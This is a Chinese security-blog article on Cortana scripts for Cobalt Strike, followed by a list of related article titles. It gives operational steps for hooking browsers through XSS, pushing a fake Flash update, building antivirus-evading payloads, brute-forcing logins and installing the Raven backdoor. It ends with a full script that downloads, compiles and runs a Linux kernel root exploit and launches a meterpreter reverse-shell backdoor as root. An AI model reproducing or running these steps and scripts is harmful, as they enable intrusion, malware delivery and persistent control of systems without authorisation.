Evi1cg · 2015/12/02 12:01

0x00 Cortana console


Cortana是可以用于Cobalt strike以及Armitage的脚本,通过加载cortana可以向Cobalt strike中导入新的第三方工具,最大的好处就是各种第三方工具都进行了可视化,你可以通过点击而不是通过命令行来完成一些操作,当然,通过定制cortana脚本,你可以在渗透测试过程中很方便的做一些批量操作或者自动化攻击等。本篇文章主要选取了一些现有的cortana脚本,来进行简单的介绍。

你可以通过如下命令下载cortana-scripts:

[email protected]:~# git clone https://github.com/rsmudge/cortana-scripts.git
复制代码

本次测试使用的是Cobalt strike2.5,下载地址:戳我(自行验证安全性)

除了可视化操作,cortana也可以使用命令行操作,依此点击View->Script Console,则可打开,使用Help可以看到如下几个命令:

cortana> help   Commands
--------
askoff #参数为cna脚本,关闭脚本交互功能
askon #参数为cna脚本,开启脚本交互功能
help #查看帮助信息
load #参数为路径,加载Cortana脚本
logoff #参数为cna脚本,关闭脚本日志记录
logon #参数为cna脚本,开启脚本日志记录
ls #列出加载的脚本
proff #参数为cna脚本,关闭脚本分析器
profile #参数为cna脚本,查看脚本简介
pron #参数为cna脚本,开启脚本分析器
reload #参数为cna脚本,重新加载脚本
troff #参数为cna脚本,关闭脚本跟踪功能
tron #参数为cna脚本,开启脚本跟踪功能
unload #参数为cna脚本,卸载脚本
复制代码

下面将介绍几个好用的脚本。

0x01 Beef_strick


Beef是一款针对浏览器的渗透测试工具,之前三好学生师傅已经对他有一个比较详细的介绍,而beef_strick则是可以在Cobalt strike及Armitage中加载Beef的一个Cortana脚本,要使用此脚本,首先要先下载安装msf的beef插件。

[email protected]:~# git clone https://github.com/xntrik/beefmetasploitplugin.git
[email protected]:~# cd beefmetasploitplugin/
[email protected]:~/beefmetasploitplugin# cp plugins/* /usr/share/metasploit-framework/plugins/
[email protected]:~/beefmetasploitplugin# cp -R lib/* /usr/share/metasploit-framework/lib/
复制代码

安装依赖库,执行:

[email protected]:~# gem install hpricot
[email protected]:~# gem install json
复制代码

如果不能更新,可以换成淘宝的ruby源,地址为ruby.taobao.org/

启动msf:

[email protected]:~# service postgresql start
[email protected]:~# msfconsole
复制代码

加载beef

msf > load beef
复制代码

在这里有个坑,就是可能会碰到这个错误:

经过多次研究最终找到解决方案,直接复制:

cp -R /var/lib/gems/2.1.0/gems/hpricot-0.8.6/lib/* /usr/lib/ruby/vendor_ruby/
复制代码

现在再启动msf,就可以加载beef了,如下图:

进入到cortana-scripts的beef_strike目录(测试发现,最新版本的貌似有问题,所以找到了历史版本的来做测试:地址请戳我),修改beef_strike.cna文件,将import的目录改到当前beef_strike的目录:

除此之外,下载以下jar放到lib目录:

[email protected]:~/beef_strike# cd lib
[email protected]:~/beef_strike/lib/# wget http://evi1cg.me/lib.rar #老外整理的jar包,请自行验证安全性,不放心可以自己下载相应jar包
[email protected]:~/beef_strike/lib/# unrar x lib.rar
复制代码

之后运行cobaltstrike或者armitage(不支持cobaltstrike3.0),以下以cobaltstrike做示例:

首先加载beef_strike,依此点击cobaltstrike->Scripts->load,选择beef_strike.cna

连接beef,选择Attacks->BeEF Strike->Start->control BeFF service,配置beef路径,然后点击strat开启beef服务,之后连接beef服务,如下图:

点击Conect之后填入beef服务地址,用户名,密码就可以连接beef了,这里比较重要的是这个key,如下图:

复制这个key,在连接处那里点击key,并将此值填入,就可以正常使用了。

只需要将http://192.168.74.144:3000/hook.js插入存在xss的网站,或者以任意方式执行该js,beef上面就可以看到主机上线了,尝试访问http://192.168.74.144:3000/demos/basic.html测试:

选择一个计算机,点击右键,beef,可以看到其基本信息,右键可以看到beef更多的功能:

比如社会工程学工具里面的fake flash update,点击此按钮之后输出如下参数配置:

"payload_uri":"http://192.168.74.144:81/download/test.exe","image":"http://192.168.74.145:3000/demos/adobe_flash_update.png"
复制代码

如下图:

之后受害者就会看到一个升级信息:

点击以后就会下载我们指定的exe。

更多的功能在:

这里可以设置自动运行的多个命令,有兴趣的小伙伴可以继续进行研究,具体Beef使用详见:浏览器利用框架BeEF测试。

0x02 Veil_evasion


Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中Veil 能绕过常见的杀毒软件,可以使用如下命令下载:

[email protected]:~# git clone https://github.com/Veil-Framework/Veil-Evasion.git
复制代码

下载以后进行配置安装:

[email protected]:~# cd Veil-Evasion/setup/
[email protected]:~/Veil-Evasion/setup# ./setup.sh
复制代码

之后就安装python等一系列环境就可以正常使用了。

加载Veil_evasion,依此点击cobaltstrike->Scripts->load,选择Veil_evasion.cna,之后输入Veil-Evasion.py的绝对路径就成功加载 Veil_evasion了,如下图:

如果Veil_evasion路径输入错误,可以再set Veil_evasion Path处修改。

点击Generate,就可以看到生成payload界面:

通过双击Payload,MSFPayload可以选择不同的生成方式,例如:

Payload选择c/meterpreter/rev_tcp,MSFPayload选择windows/meterpreter/reverse_tcp,一定要选同类型的,设置监听ip及端口以后,点击Generate,则可以看到生成的路径,点击ok则可生成payload,如下图:

0x03 Login_autopwn

此脚本可用于用户口令破解,可以自动化测试多个服务,也可以针对单个服务进行口令破解,可破解的服务包括ssh,smb,ftp,telnet,vnc,vmauthd,pcanywhere,mssql,mysql等,使用前需要修改字典路径:

以及john字典路径:

修改以后,依此点击cobaltstrike->Scripts->load,选择login_autopwn.cna,之后通过点击View->Script Console的打开Cortana,则可看到已经加载 login_autopwn:

输入help,可以查看命令:

获取服务信息之后,直接输入start则可以进行自动化口令探测,当然也可以选择某个模块来进行探测,下面是一个demo:

0x04 Raven


Raven是一个Windows后门,他可以访问攻击者控制的服务器,下载RAW shellcode,如果代码可用,他将将代码注入到其他进程中,可以通过","来创建多个URL列表,Raven将会采用循环的方式进行尝试,安装Raven以后,他每隔5分钟会访问依此控制服务器,安装方法为:

  1. 复制raven.dll 到 c:\windows\linkinfo.dll。
  2. 安装raven.exe,可以添加注册表或者添加服务。

Cortana script中已经集成了Raven的使用脚本,使用方式如下:

step1:打开终端,开启web服务

[email protected]:~# service apache2 start
复制代码

step2:依次点击View->Script console

step3:加载server.cna,client.cna

加载server.cna之前确保web根目录配置正确

step4:依此点击View->Raven

step5:点击Export EXE,配置服务器地址,http://ip/foo 生成exe

step6:运行exe,之后会看到这样:

step7:开启msf监听,使用windows/meterpreter/reverse_tcp ,端口为4444。

step8:当有客户端连入时,右键,Meterp tcp,端口为之前的端口,则可获取会话。

0x05 Others


  • QRcode:用于生成网址的二维码,它使用了google的api,修改一下就可以使用了。
  • annoy:用于骚扰用户的小脚本,包括弹框,禁用鼠标、键盘,关进程,关机等。
  • icons:增加了很多图标,看起来会更炫酷。
  • autoDiscover:用于发现新的网络。
  • autoarp:arp扫描,用于发现网络主机。
  • autofind:用于查找一些指定文件并下载。
  • autohack:这里共有三个脚本,autohack用于自动攻击,当发现22端口时,使用对应的模块进行暴力破解,发现445端口则尝试使用ms08_067,自己可以根据自己的需要进行修改;autohash用于自动执行提权并进行hashdump操作,读取到的hash将存入数据库,执行creds则可以看到存储的hash信息;autopsexec用于发现445端口开放时,使用psexec来测试登陆,使用的密码为数据库存储的hash信息。
  • autoscan:自动扫描脚本,这里也有俩,automsfscan用于在hosts列表增加时自动执行msfscan操作;autonessus将在hosts列表增加时自动执行nessus扫描。
  • av-bypass-demo:这个脚本是在使用psexec时, 自动对payload进行免杀。免杀使用的源码来自于https://github.com/rsmudge/metasploit-loader
  • beacon:增加了右键功能,并且为beacon增加了一个图片,看起来更酷炫了。
  • binaries:用于Linux下替换文件。
  • differ:用于提示发现的新增加的服务。
  • eval:一个测试脚本,可以参考器为Cortana编写命令行功能。
  • events-table:增加查看事件功能,加载以后,使用可以通过View -> Events打开。
  • idlewatch:查看用户的空闲时间,并以带颜色的小人图标展示,无图标->未知空闲时间;绿色图标->用户正在使用;蓝色图标->用户活跃在5分钟之内;黄色图标->用户活跃在30分之内;红色图标->用户无效。
  • import_creds:此脚本用来将用户凭证导入msf数据库。使用方式为进入cortana命令行,使用import_creds进行导入。
  • int128scripts:int128写的一些脚本,现在有四个,auto_crack是利用msf的jtr_crack_fast对用户凭证进行破解的脚本;find_hosts是使用nmap进行扫描的脚本;find_hosts_ping_large_subnet是对于一个较大的子网指定端口进行快速扫描的脚本;infect是一个创建后门的脚本,Windows下面创建 metsvc后门并添加用户开始3389端口,Linux下面创建用户,添加后门并创建计划任务,使用前记得修改参数。
  • irc-client:一个250行的IRC客户端Cortana脚本。
  • login_logout:用于linux系统跟踪用户登陆信息。
  • multi-meterpreter:用于对多个系统同事执行命令。
  • Botvoice:一个比较好玩儿的功能,能够在使用Cobalt Strike提供语音帮助。
  • new_payload:一个脚本示例,用于替换payload。
  • post-play:此脚本用于自动化执行脚本,可以加载msf的ruby脚本或者shell脚本。当获取会话之后会自动执行。
  • pt_autodoc:此脚本可以监控主机以及服务信息,并将这些数据存入Mysql数据库,同时随时进行更新,可以使用图形化工具比如gephi来观测数据的变化。
  • rc_loader:快速加载rc脚本的脚本。
  • references:写一些菜单的举例脚本。
  • user_hunter:获取用户的脚本。能方便的找到域管理登陆的电脑。
  • safetynet:这个脚本允许用户向meterpreter会话中注入'safetynet' payload。
  • Sniffer:此脚本用于开启嗅探功能。
  • vulns:示例脚本,用于显示漏洞信息。
  • vy_con:使用此脚本可以控制和管理Vyatta的路由器。

0x06 POSH-Commander


在Powrshell如火如荼的时候,怎么能缺少Powershell相关的脚本呢?rvrsh3ll在github开源了一个与Powershell相关的Cortana脚本,使用此脚本可以通过可视化操作远程注入powershell脚本到计算机内存,下载地址为:

[email protected]:~# git clone https://github.com/rvrsh3ll/POSH-Commander.git
复制代码

下载以后,将remote_powershell.rb复制到metasploit-framework/modules/post/windows/manage/powershell/ 目录:

[email protected]:~# cp POSH-Commander/msfmodule/remote_powershell.rb /usr/share/metasploit-framework/modules/post/windows/manage/powershell/
复制代码

之后打开msf的console界面,执行如下命令:

msf> reload_all
复制代码

依此点击cobaltstrike->Scripts->load,加载posh_commander.cna,当获取meterpreter会话以后,将会看到新增的powershell攻击模块:

选择其中的Veil-PowerView,输入脚本地址,然后就可以选择加载的模块了:

之后可以双击单个模块,添加相应参数然后运行该Powershell脚本。原脚本路径有点问题,不想改的话可以直接试用这个。

测试执行HOST命令,选择Custom Local Command,输入HOST,运行之后可以看到运行返回的结果:

0x07 定制自己的Cortana


除了以上的脚本,为了方便我们还可以自己编写属于自己的Cortana脚本,编写示例在Cortana scripts里面已经有了一些,如果有兴趣,你可以看看这个:

  • Cortana教程
  • Cortana编写示例

比如下面是一个自动对2.6.36内核linux自动提权的脚本:

# Auto Rooting < 2.6.36 Menu for Cobalt Engine v0.1
popup shell {if (host_os(session_host($1)) eq "Linux") {menu "Auto Rooting" {item "Auto Rooting < 2.6.36" {println("Auto Rooting");# Generate Payload$r_lport = random_port();$backdoor = generate("linux/x86/meterpreter/reverse_tcp", lhost(), $r_lport, %(), "elf");$handle2 = openf(">/tmp/linux_backdoor_$r_lport");writeb($handle2, $backdoor);closef($handle2);  shell_upload($1, "/tmp/linux_backdoor_$r_lport", "/tmp/linux_backdoor_$r_lport");# Launch our aux shellshandler("linux/x86/meterpreter/reverse_tcp", $r_lport, %(LHOST => lhost()));# Rootings_cmd($1, "wget http://downloads.securityfocus.com/vulnerabilities/exploits/44219.c");s_cmd($1, "gcc 44219.c -o rootme_1");s_cmd($1, "chmod +x rootme_1");s_cmd($1, "chmod 0777 rootme_1");s_cmd($1, "./rootme_1");sleep(10 * 1000);s_cmd($1, "chmod +x /tmp/linux_backdoor_$r_lport");s_cmd($1, "chmod 0777 /tmp/linux_backdoor_$r_lport");s_cmd($1, "chown root:root /tmp/linux_backdoor_$r_lport");s_cmd($1, "/tmp/linux_backdoor_$r_lport");s_cmd($1, "exit");db_sync();  }}}
}
复制代码

0x08 小结


使用Cortana脚本可以让我们更加便捷的使用Cobalt strike,并能更加方便的进行自动化攻击,希望对渗透测试中的你有所帮助。

0x09 参考


  1. security-is-just-an-illusion.blogspot.com/2013/11/one…
  2. www.rvrsh3ll.net/blog/offens…
  3. www.veil-framework.com/veil-evasio…
  4. www.fastandeasyhacking.com/download/c/…
  5. blog.cobaltstrike.com/2013/03/13/…

本文由evi1cg原创并首发于乌云drops,转载请注明

强化你的Cobalt strike之Cortana相关推荐

  1. 神兵利器--Cobalt Strike

    前言 经常看到披露出来APT(Advanced Persistent Threat) 高级持续性威胁报告,据目前我所了解到的有常用两种攻击手法还有更多种手法水坑式攻击和鱼叉式钓鱼邮件攻击手法.其实我也 ...

  2. APT组织最喜欢的工具 Cobalt Strike (CS) 实战

    一.Cobalt Strike 背景 Cobalt Strike 在威胁攻击者的恶意活动中的使用次数正在增加.从 2019 年到 2020 年,使用Cobalt Strike 的威胁攻击者增加了 16 ...

  3. Cobalt Strike 的安装与简单使用

    一.什么是Cobalt Strike Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动. 二.如何使用 Cobalt Strik ...

  4. cobaltstrike扩展_Malwarebytes:使用可变C2下发Cobalt Strike的APT攻击

    6月中旬,Malwarebytes Labs的研究人员发现了一个伪装成简历的恶意Word文档,该文档使用模板注入来删除.Net Loader.研究人员认为这是与APT攻击有关的多阶段攻击的第一部分.在 ...

  5. Mac安装Cobalt Strike 4 【亲测有用】

    Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS.早期以Metasploit为基础的GUI框架式渗透测试工具,而现在Cobalt Strike已经不再使用MS ...

  6. Cobalt Strike 3.13的新功能

    Cobalt Strike 3.13现已推出.此版本添加了TCP Beacong,进程参数欺骗,并将Obfuscate和Sleep功能扩展到SMB和TCP Beacons. TCP Beacon Co ...

  7. cobalt strike profile

    cobalt strike 配置解读 此处以最新版 jquery-c2.4.3.profile文件解析 适应Cobalt Strike 4.3 版本 其他版本会有标注 cobalt strike 4. ...

  8. Cobalt Strike 域内渗透

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Co ...

  9. gophish配合邮件服务器,【CS】Cobalt Strike发送钓鱼邮件

    0x00 简介 关于Spear phish 和发件人伪造的工具有很多个,比如gophish.SimpleEmailSpoofer.命令行工具swaks等,每个工具都有其特点,当然Cobalt Stri ...

最新文章

  1. 【数据库】MySQL乱码解决(存入数据乱码和查询输出乱码)
  2. 工程实践规模化推进要点分析
  3. ASA8.4policy-map接口和全局执行的优先级测试:
  4. RPC和MQ各自适合的应用场景
  5. 逆向工程核心原理学习笔记(八):小端序标记法1
  6. Google SRE 读书笔记 扒一扒SRE用的那些工具
  7. 使用阿里云智能翻译接口案例——CSDN博客
  8. [SlickEdit] SlickEdit支持目录别名FTP控件更新
  9. [BZOJ1502]月下柠檬树(自适应辛普森积分)
  10. 使用 IntraWeb (40) - 自定义 Session 数据
  11. 业界总结 | 如何改进双塔模型,才能更好的提升你的算法效果?
  12. 现代通信原理3.3:两个重要的信号处理模块-乘法器与滤波器
  13. 《App后台开发运维和架构实践》勘误
  14. java收费_一文看懂Java收费 附可替换方案!
  15. 浏览器全屏相关常用代码
  16. Hackthebox:Devel Walkthrough
  17. Listen failure: Couldn‘t listen on 10.30.3.17:8000: [WinError 10049]
  18. 米勒-拉宾素性检测算法
  19. 美团点评2018校园春季招聘后台开发工程师笔试经验
  20. 沪铅上市十周年 “铅华”与本色尽显

热门文章

  1. matlab 修改语言环境,VS Code配置Matlab环境
  2. TCP协议为什么是三次握手而不是两次
  3. python读取excel股票历史数据_python获取涨停板历史数据
  4. java中double身高_用JAVA编一个程序 输入10名同学的身高,找出最高升高,要求使用对象数组类型的带参方法来实现...
  5. Java JDK 控制台环境设置
  6. vue + moment.js 自己写日历
  7. android源码opengrok,搭建OpenGrok 快速索引android源码
  8. CockRoachDB配置跨域集群
  9. js怎么判断是否是数组的六种方法
  10. Unity脚本模板自定义字符串替换